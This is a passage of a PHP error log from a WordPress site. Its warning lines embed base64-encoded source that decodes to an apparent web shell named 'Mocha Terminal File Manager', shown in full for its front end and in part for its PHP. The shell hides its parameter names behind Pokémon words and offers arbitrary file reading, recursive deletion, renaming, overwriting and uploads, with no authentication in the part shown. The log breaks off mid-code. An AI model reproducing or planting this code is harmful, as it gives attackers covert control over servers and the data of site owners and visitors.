KICAgICAgICA8L2Zvcm0+DQogICAgPC9kaXY+DQo8L2Rpdj4NCg0KPCEtLSBISURERU4gRk9STVMgRk9SIEFDVElPTlMgLS0+DQo8Zm9ybSBpZD0iYWN0aW9uLWZvcm0iIG1ldGhvZD0icG9zdCIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9BQ1RJT047ID8+IiBpZD0iYWN0LWFjdGlvbiI+DQogICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iPD9waHAgZWNobyBQX0hBU0g7ID8+IiBpZD0iYWN0LWhhc2giPg0KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8gUF9OQU1FOyA/PiIgaWQ9ImFjdC1uZXduYW1lIj4NCjwvZm9ybT4NCg0KPCEtLSBERUxFVEUgTU9EQUwgLS0+DQo8ZGl2IGlkPSJkZWxldGUtbW9kYWwiIGNsYXNzPSJtb2RhbC1vdmVybGF5Ij4NCiAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib3giPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPkRlbGV0ZSBDb25maXJtYXRpb248L2Rpdj4NCiAgICAgICAgPGRpdj5BcmUgeW91IHN1cmUgeW91IHdhbnQgdG8gZGVsZXRlIDxiIGlkPSJkZWwtZmlsZW5hbWUiPmZpbGU8L2I+PzwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtRGVsZXRlKCkiPkRlbGV0ZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIFJFTkFNRSBNT0RBTCAtLT4NCjxkaXYgaWQ9InJlbmFtZS1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+UmVuYW1lPC9kaXY+DQogICAgICAgIDxkaXY+DQogICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgaWQ9InJlbi1pbnB1dCIgc3R5bGU9IndpZHRoOjEwMCU7IHBhZGRpbmc6OHB4OyI+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjb25maXJtUmVuYW1lKCkiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCjwvZGl2Pg0KDQo8IS0tIEVESVRPUiBNT0RBTCAtLT4NCjxkaXYgaWQ9ImVkaXRvci1tb2RhbCIgY2xhc3M9Im1vZGFsLW92ZXJsYXkiPg0KICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJveCI+DQogICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciIgc3R5bGU9ImRpc3BsYXk6ZmxleDsganVzdGlmeS1jb250ZW50OnNwYWNlLWJldHdlZW47Ij4NCiAgICAgICAgICAgIDxzcGFuIGlkPSJlZGl0b3ItZmlsZW5hbWUiPkVkaXRpbmc8L3NwYW4+DQogICAgICAgICAgICA8c3BhbiBzdHlsZT0iY3Vyc29yOnBvaW50ZXI7IiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIj5beF08L3NwYW4+DQogICAgICAgIDwvZGl2Pg0KICAgICAgICA8dGV4dGFyZWEgaWQ9ImVkaXRvci1hcmVhIj48L3RleHRhcmVhPg0KICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1mb290ZXIiPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJjbG9zZU1vZGFscygpIiBzdHlsZT0iYmFja2dyb3VuZDp0cmFuc3BhcmVudDsgYm9yZGVyLWNvbG9yOnZhcigtLXRleHQtZGltKTsiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPGJ1dHRvbiBvbmNsaWNrPSJzYXZlRWRpdCgpIj5TYXZlPC9idXR0b24+DQogICAgICAgIDwvZGl2Pg0KICAgIDwvZGl2Pg0KPC9kaXY+DQoNCjxzY3JpcHQ+DQogICAgLy8gSGVscGVycw0KICAgIGNvbnN0IFBfQUNUSU9OID0gJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JzsNCiAgICBjb25zdCBBX0RFTCA9ICc8P3BocCBlY2hvIEFfREVMOyA/Pic7DQogICAgY29uc3QgQV9SRU4gPSAnPD9waHAgZWNobyBBX1JFTjsgPz4nOw0KICAgIGNvbnN0IEFfRURJVCA9ICc8P3BocCBlY2hvIEFfRURJVDsgPz4nOw0KICAgIA0KICAgIGxldCBjdXJyZW50QWN0aW9uSGFzaCA9IG51bGw7DQoNCiAgICAvLyBNb2RhbCBIYW5kbGVycw0KICAgIGZ1bmN0aW9uIGNsb3NlTW9kYWxzKCkgew0KICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcubW9kYWwtb3ZlcmxheScpLmZvckVhY2goZWwgPT4gZWwuc3R5bGUuZGlzcGxheSA9ICdub25lJyk7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gbnVsbDsNCiAgICB9DQoNCiAgICAvLyBEZWxldGUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuRGVsZXRlTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWwtZmlsZW5hbWUnKS5pbm5lclRleHQgPSBuYW1lOw0KICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZGVsZXRlLW1vZGFsJykuc3R5bGUuZGlzcGxheSA9ICdmbGV4JzsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjb25maXJtRGVsZXRlKCkgew0KICAgICAgICBpZihjdXJyZW50QWN0aW9uSGFzaCkgew0KICAgICAgICAgICAgc3VibWl0QWN0aW9uKEFfREVMLCBjdXJyZW50QWN0aW9uSGFzaCk7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvLyBSZW5hbWUgTG9naWMNCiAgICBmdW5jdGlvbiBvcGVuUmVuYW1lTW9kYWwoaGFzaCwgbmFtZSkgew0KICAgICAgICBjdXJyZW50QWN0aW9uSGFzaCA9IGhhc2g7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZSA9IG5hbWU7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW5hbWUtbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgIH0NCg0KICAgIGZ1bmN0aW9uIGNvbmZpcm1SZW5hbWUoKSB7DQogICAgICAgIGlmKGN1cnJlbnRBY3Rpb25IYXNoKSB7DQogICAgICAgICAgICBsZXQgbmV3TmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdyZW4taW5wdXQnKS52YWx1ZTsNCiAgICAgICAgICAgIGlmKG5ld05hbWUpIHsNCiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3Rpb24tZm9ybScpOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBBX1JFTjsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWN0LWhhc2gnKS52YWx1ZSA9IGN1cnJlbnRBY3Rpb25IYXNoOw0KICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtbmV3bmFtZScpLnZhbHVlID0gbmV3TmFtZTsNCiAgICAgICAgICAgICAgICBmb3JtLnN1Ym1pdCgpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgLy8gRWRpdG9yIExvZ2ljDQogICAgZnVuY3Rpb24gb3BlbkVkaXRvcihoYXNoLCBuYW1lKSB7DQogICAgICAgIGN1cnJlbnRBY3Rpb25IYXNoID0gaGFzaDsNCiAgICAgICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2VkaXRvci1maWxlbmFtZScpLmlubmVyVGV4dCA9ICdFZGl0aW5nOiAnICsgbmFtZTsNCiAgICAgICAgDQogICAgICAgIHZhciB4aHIgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsNCiAgICAgICAgeGhyLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgaWYgKHhoci5yZWFkeVN0YXRlID09PSA0KSB7DQogICAgICAgICAgICAgICAgaWYgKHhoci5zdGF0dXMgPT09IDIwMCkgew0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLWFyZWEnKS52YWx1ZSA9IHhoci5yZXNwb25zZVRleHQ7DQogICAgICAgICAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItbW9kYWwnKS5zdHlsZS5kaXNwbGF5ID0gJ2ZsZXgnOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGFsZXJ0KCJFcnJvciBsb2FkaW5nIGZpbGUuIik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KICAgICAgICB4aHIub3BlbignR0VUJywgJz88P3BocCBlY2hvIFBfUkFXOyA/Pj0nICsgZW5jb2RlVVJJQ29tcG9uZW50KGhhc2gpLCB0cnVlKTsNCiAgICAgICAgeGhyLnNlbmQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzYXZlRWRpdCgpIHsNCiAgICAgICAgaWYgKCFjdXJyZW50QWN0aW9uSGFzaCkgcmV0dXJuOw0KICAgICAgICBsZXQgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItYXJlYScpLnZhbHVlOw0KICAgICAgICANCiAgICAgICAgbGV0IGZvcm0gPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdmb3JtJyk7DQogICAgICAgIGZvcm0ubWV0aG9kID0gJ1BPU1QnOw0KICAgICAgICBmb3JtLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQoNCiAgICAgICAgY3JlYXRlSW5wdXQoZm9ybSwgJzw/cGhwIGVjaG8gUF9BQ1RJT047ID8+JywgJzw/cGhwIGVjaG8gQV9FRElUOyA/PicpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0hBU0g7ID8+JywgY3VycmVudEFjdGlvbkhhc2gpOw0KICAgICAgICBjcmVhdGVJbnB1dChmb3JtLCAnPD9waHAgZWNobyBQX0NPTlQ7ID8+JywgY29udGVudCk7DQoNCiAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChmb3JtKTsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBzdWJtaXRBY3Rpb24oYWN0aW9uLCBoYXNoKSB7DQogICAgICAgIGxldCBmb3JtID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2FjdGlvbi1mb3JtJyk7DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtYWN0aW9uJykudmFsdWUgPSBhY3Rpb247DQogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhY3QtaGFzaCcpLnZhbHVlID0gaGFzaDsNCiAgICAgICAgZm9ybS5zdWJtaXQoKTsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBjcmVhdGVJbnB1dChmb3JtLCBuYW1lLCB2YWx1ZSkgew0KICAgICAgICBsZXQgaW5wdXQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpbnB1dCcpOw0KICAgICAgICBpbnB1dC50eXBlID0gJ2hpZGRlbic7DQogICAgICAgIGlucHV0Lm5hbWUgPSBuYW1lOw0KICAgICAgICBpbnB1dC52YWx1ZSA9IHZhbHVlOw0KICAgICAgICBmb3JtLmFwcGVuZENoaWxkKGlucHV0KTsNCiAgICB9DQo8L3NjcmlwdD4NCg0KPC9ib2R5Pg0KPC9odG1sPg==:237) in /home/livedhms/streamsza.com/wp-includes/pluggable.php on line 1538
[03-Jun-2026 23:17:17 UTC] PHP Warning:  Cannot modify header information - headers already sent by (output started at kqnw://PD9waHAgLyoqDQogKiBNb2NoYSBUZXJtaW5hbCBGaWxlIE1hbmFnZXIgKE5vdGlmaWNhdGlvbnMgRWRpdGlvbikNCiAqIFNpbmdsZSBGaWxlLCBQSFAgNSsgQ29tcGF0aWJsZQ0KICovDQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQovLyBQT0tFTU9OIFBBUkFNRVRFUiBNQVBQSU5HDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gR0VUIFBhcmFtcw0KY29uc3QgUF9ESVIgICAgICA9ICdwaWthY2h1JzsgICAgICAgLy8gRGlyZWN0b3J5IGhhc2gNCmNvbnN0IFBfUkFXICAgICAgPSAnYnVsYmFzYXVyJzsgICAgIC8vIFJhdyBmaWxlIHZpZXcgZm9yIGVkaXRvcg0KY29uc3QgUF9NU0cgICAgICA9ICdtZXd0d28nOyAgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdGV4dA0KY29uc3QgUF9UWVBFICAgICA9ICdtb2x0cmVzJzsgICAgICAgLy8gU3RhdHVzIG1lc3NhZ2UgdHlwZSAoc3VjY2Vzcy9lcnJvcikNCg0KLy8gUE9TVCBQYXJhbXMNCmNvbnN0IFBfQUNUSU9OICAgPSAnY2hhcml6YXJkJzsgICAgIC8vIEFjdGlvbiBuYW1lDQpjb25zdCBQX0hBU0ggICAgID0gJ3NxdWlydGxlJzsgICAgICAvLyBGaWxlL0ZvbGRlciBoYXNoDQpjb25zdCBQX1RBUkcgICAgID0gJ3BzeWR1Y2snOyAgICAgICAvLyBUYXJnZXQgZGlyZWN0b3J5IGhhc2ggKGZvciB1cGxvYWQvbWtkaXIpDQpjb25zdCBQX05BTUUgICAgID0gJ2ppZ2dseXB1ZmYnOyAgICAvLyBOZXcgTmFtZSAvIEZvbGRlciBOYW1lDQpjb25zdCBQX0NPTlQgICAgID0gJ3Nub3JsYXgnOyAgICAgICAvLyBGaWxlIGNvbnRlbnQgZm9yIGVkaXQNCmNvbnN0IFBfRklMRSAgICAgPSAnbWVvd3RoJzsgICAgICAgIC8vIFVwbG9hZGVkIGZpbGUgKCRfRklMRVMpDQpjb25zdCBQX0ZEQVRBICAgID0gJ2dlbmdhcic7ICAgICAgICAvLyBCYXNlNjQgZmlsZSBkYXRhDQpjb25zdCBQX0ZOQU1FICAgID0gJ29uaXgnOyAgICAgICAgICAvLyBGaWxlbmFtZSBmb3IgYmFzZTY0IHVwbG9hZA0KDQovLyBBY3Rpb24gVmFsdWVzDQpjb25zdCBBX0RFTCAgICAgID0gJ2h5ZHJvLXB1bXAnOw0KY29uc3QgQV9SRU4gICAgICA9ICdmbGFtZXRocm93ZXInOw0KY29uc3QgQV9FRElUICAgICA9ICdzb2xhci1iZWFtJzsNCmNvbnN0IEFfVVAgICAgICAgPSAnaHlwZXItYmVhbSc7DQpjb25zdCBBX01LRElSICAgID0gJ2VhcnRocXVha2UnOw0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLy8gMS4gRUFSTFkgUkVTUE9OU0UgSEFORExFUlMgKEFKQVggLyBSQVcgVklFVykNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoNCi8vIEhhbmRsZSBSYXcgVmlldyAoRWRpdG9yIENvbnRlbnQpIC0gTXVzdCBiZSB0b3Agb2YgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUW1BfUkFXXSkpIHsNCiAgICAkaGFzaCA9ICRfR0VUW1BfUkFXXTsNCiAgICAkcGF0aCA9IGJhc2U2NF9kZWNvZGUoJGhhc2gpOw0KICAgIA0KICAgIGlmIChpc19maWxlKCRwYXRoKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbicpOw0KICAgICAgICByZWFkZmlsZSgkcGF0aCk7DQogICAgICAgIGV4aXQ7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaGVhZGVyKCJIVFRQLzEuMCA0MDQgTm90IEZvdW5kIik7DQogICAgICAgIGV4aXQoIkZpbGUgbm90IGZvdW5kLiIpOw0KICAgIH0NCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDIuIENPTkZJR1VSQVRJT04gJiBTRVRVUA0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7IA0KDQogJGJhc2VfZGlyID0gZ2V0Y3dkKCk7DQogJGJhc2VfZGlyID0gcnRyaW0oJGJhc2VfZGlyLCAnL1xcJyk7DQoNCi8vIEN1cnJlbnQgRGlyZWN0b3J5IExvZ2ljDQogJGN1cnJlbnRfZGlyID0gJGJhc2VfZGlyOw0KaWYgKGlzc2V0KCRfR0VUW1BfRElSXSkpIHsNCiAgICAkZGVjb2RlZCA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbUF9ESVJdKTsNCiAgICBpZiAoJGRlY29kZWQgJiYgaXNfZGlyKCRkZWNvZGVkKSkgew0KICAgICAgICAkY3VycmVudF9kaXIgPSAkZGVjb2RlZDsNCiAgICB9DQp9DQoNCi8vIFJlYWQgTm90aWZpY2F0aW9uIGZyb20gVVJMDQogJHN0YXR1c19tc2cgPSBpc3NldCgkX0dFVFtQX01TR10pID8gaHRtbHNwZWNpYWxjaGFycygkX0dFVFtQX01TR10pIDogJyc7DQogJHN0YXR1c190eXBlID0gaXNzZXQoJF9HRVRbUF9UWVBFXSkgPyAkX0dFVFtQX1RZUEVdIDogJ3N1Y2Nlc3MnOw0KDQpmdW5jdGlvbiBnZXRfc2FmZV9wYXRoKCRwYXRoKSB7DQogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KfQ0KDQpmdW5jdGlvbiBnZXRfaGFzaCgkcGF0aCkgew0KICAgIHJldHVybiBydHJpbShiYXNlNjRfZW5jb2RlKCRwYXRoKSwgJz0nKTsNCn0NCg0KLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCi8vIDMuIFBPU1QgSEFORExJTkcgKEFDVElPTlMpDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQovLyBDdXN0b20gUmVkaXJlY3QgaGVscGVyIHRoYXQgY2FycmllcyB0aGUgbWVzc2FnZQ0KZnVuY3Rpb24gcmVkaXJlY3QoJGRpciwgJG1zZyA9ICcnLCAkdHlwZSA9ICdzdWNjZXNzJykgew0KICAgICR1cmwgPSAiPyIgLiBQX0RJUiAuICI9IiAuIGdldF9oYXNoKCRkaXIpOw0KICAgIGlmICgkbXNnKSB7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9NU0cgLiAiPSIgLiB1cmxlbmNvZGUoJG1zZyk7DQogICAgICAgICR1cmwgLj0gIiYiIC4gUF9UWVBFIC4gIj0iIC4gJHR5cGU7DQogICAgfQ0KICAgIGhlYWRlcigiTG9jYXRpb246ICIgLiAkdXJsKTsNCiAgICBleGl0Ow0KfQ0KDQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KDQogICAgLy8gMS4gREVMRVRFDQogICAgaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfREVMICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSkgew0KICAgICAgICAkdGFyZ2V0ID0gYmFzZTY0X2RlY29kZSgkX1BPU1RbUF9IQVNIXSk7DQogICAgICAgICRzdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmIChpc19maWxlKCR0YXJnZXQpKSB7DQogICAgICAgICAgICAkc3VjY2VzcyA9IEB1bmxpbmsoJHRhcmdldCk7DQogICAgICAgIH0gZWxzZWlmIChpc19kaXIoJHRhcmdldCkpIHsNCiAgICAgICAgICAgIGZ1bmN0aW9uIHJybWRpcigkZGlyKSB7DQogICAgICAgICAgICAgICAgJGZpbGVzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgnLicsJy4uJykpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgew0KICAgICAgICAgICAgICAgICAgICAoaXNfZGlyKCIkZGlyLyRmaWxlIikpID8gcnJtZGlyKCIkZGlyLyRmaWxlIikgOiB1bmxpbmsoIiRkaXIvJGZpbGUiKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgcmV0dXJuIEBybWRpcigkZGlyKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRzdWNjZXNzID0gcnJtZGlyKCR0YXJnZXQpOw0KICAgICAgICB9DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRzdWNjZXNzID8gIkl0ZW0gZGVsZXRlZC4iIDogIkRlbGV0ZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAyLiBSRU5BTUUNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfUkVOICYmIGlzc2V0KCRfUE9TVFtQX0hBU0hdKSAmJiBpc3NldCgkX1BPU1RbUF9OQU1FXSkpIHsNCiAgICAgICAgJHRhcmdldCA9IGJhc2U2NF9kZWNvZGUoJF9QT1NUW1BfSEFTSF0pOw0KICAgICAgICAkbmV3X25hbWUgPSBiYXNlbmFtZSgkX1BPU1RbUF9OQU1FXSk7DQogICAgICAgICRkZXN0aW5hdGlvbiA9IGRpcm5hbWUoJHRhcmdldCkgLiAnLycgLiAkbmV3X25hbWU7DQogICAgICAgICRzdWNjZXNzID0gQHJlbmFtZSgkdGFyZ2V0LCAkZGVzdGluYXRpb24pOw0KICAgICAgICByZWRpcmVjdChkaXJuYW1lKCR0YXJnZXQpLCAkc3VjY2VzcyA/ICJSZW5hbWVkIHN1Y2Nlc3NmdWxseS4iIDogIlJlbmFtZSBmYWlsZWQuIiwgJHN1Y2Nlc3MgPyAic3VjY2VzcyIgOiAiZXJyb3IiKTsNCiAgICB9DQoNCiAgICAvLyAzLiBTQVZFIEVESVQNCiAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0FDVElPTl0pICYmICRfUE9TVFtQX0FDVElPTl0gPT09IEFfRURJVCAmJiBpc3NldCgkX1BPU1RbUF9IQVNIXSkgJiYgaXNzZXQoJF9QT1NUW1BfQ09OVF0pKSB7DQogICAgICAgICR0YXJnZXQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX0hBU0hdKTsNCiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbUF9DT05UXTsNCiAgICAgICAgJHRlbXBfZmlsZSA9ICR0YXJnZXQgLiAnLnRtcF8nIC4gdW5pcWlkKG10X3JhbmQoKSwgdHJ1ZSk7DQogICAgICAgICR3cml0ZV9zdWNjZXNzID0gZXJyb3JfbG9nKCRjb250ZW50LCAzLCAkdGVtcF9maWxlKTsNCiAgICAgICAgDQogICAgICAgICRmaW5hbF9zdWNjZXNzID0gZmFsc2U7DQogICAgICAgIGlmICgkd3JpdGVfc3VjY2Vzcykgew0KICAgICAgICAgICAgaWYgKEByZW5hbWUoJHRlbXBfZmlsZSwgJHRhcmdldCkpIHsNCiAgICAgICAgICAgICAgICAkZmluYWxfc3VjY2VzcyA9IHRydWU7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIEB1bmxpbmsoJHRlbXBfZmlsZSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgICRsb2cgPSAkZmluYWxfc3VjY2VzcyA/ICJFZGl0IHNhdmVkOiAkdGFyZ2V0IiA6ICJFZGl0IGZhaWxlZDogJHRhcmdldCI7DQogICAgICAgIHJlZGlyZWN0KGRpcm5hbWUoJHRhcmdldCksICRmaW5hbF9zdWNjZXNzID8gIkZpbGUgc2F2ZWQiIDogIlNhdmUgZmFpbGVkLiIsICRmaW5hbF9zdWNjZXNzID8gInN1Y2Nlc3MiIDogImVycm9yIiwgJGxvZyk7DQogICAgfQ0KICAgIA0KICAgIC8vIDQuIFVQTE9BRA0KICAgIGVsc2VpZiAoaXNzZXQoJF9QT1NUW1BfQUNUSU9OXSkgJiYgJF9QT1NUW1BfQUNUSU9OXSA9PT0gQV9VUCkgew0KICAgICAgICAkdGFyZ2V0X2RpciA9ICRiYXNlX2RpcjsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFtQX1RBUkddKSkgew0KICAgICAgICAgICAgJGQgPSBiYXNlNjRfZGVjb2RlKCRfUE9TVFtQX1RBUkddKTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJGQpKSAkdGFyZ2V0X2RpciA9ICRkOw0KICAgICAgICB9DQoNCiAgICAgICAgJHN1Y2Nlc3MgPSBmYWxzZTsNCiAgICAgICAgaWYgKGlzc2V0KCRfRklMRVNbUF9GSUxFXSkgJiYgJF9GSUxFU1tQX0ZJTEVdWydlcnJvciddID09PSBVUExPQURfRVJSX09LKSB7DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfRklMRVNbUF9GSUxFXVsnbmFtZSddKTsNCiAgICAgICAgICAgICRzdWNjZXNzID0gQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTW1BfRklMRV1bJ3RtcF9uYW1lJ10sICR0YXJnZXRfZGlyIC4gJy8nIC4gJG5hbWUpOw0KICAgICAgICB9IA0KICAgICAgICBlbHNlaWYgKGlzc2V0KCRfUE9TVFtQX0ZEQVRBXSkgJiYgIWVtcHR5KCRfUE9TVFtQX0ZEQVRBXSkgJiYgaXNzZXQoJF9QT1NUW1BfRk5BTUVdKSkgew0KICAgICAgICAgICAgJGRhdGEgPSAkX1BPU1RbUF9GREFUQV07DQogICAgICAgICAgICAkbmFtZSA9IGJhc2VuYW1lKCRfUE9TVFtQX0ZOQU1FXSk7DQogICAgICAgICAgICBpZiAoYmFzZTY0X2RlY29kZSgkZGF0YSwgdHJ1ZSkgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgPSBwcmVnX3JlcGxhY2UoJyNeZGF0YTp0ZXh0L1x3KztiYXNlNjQsI2knLCAnJywgJGRhdGEpOw0KICAgICAgICAgICAgICAgICRkYXRhID0gYmFzZTY0X2RlY29kZSgkZGF0YSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkc3VjY2VzcyA9IEBmaWxlX3B1dF9jb250ZW50cygkdGFyZ2V0X2RpciAuICcvJyAuICRuYW1lLCAkZGF0YSkgIT09IGZhbHNlOw0KICAgICAgICB9DQogICAgICAgIHJlZG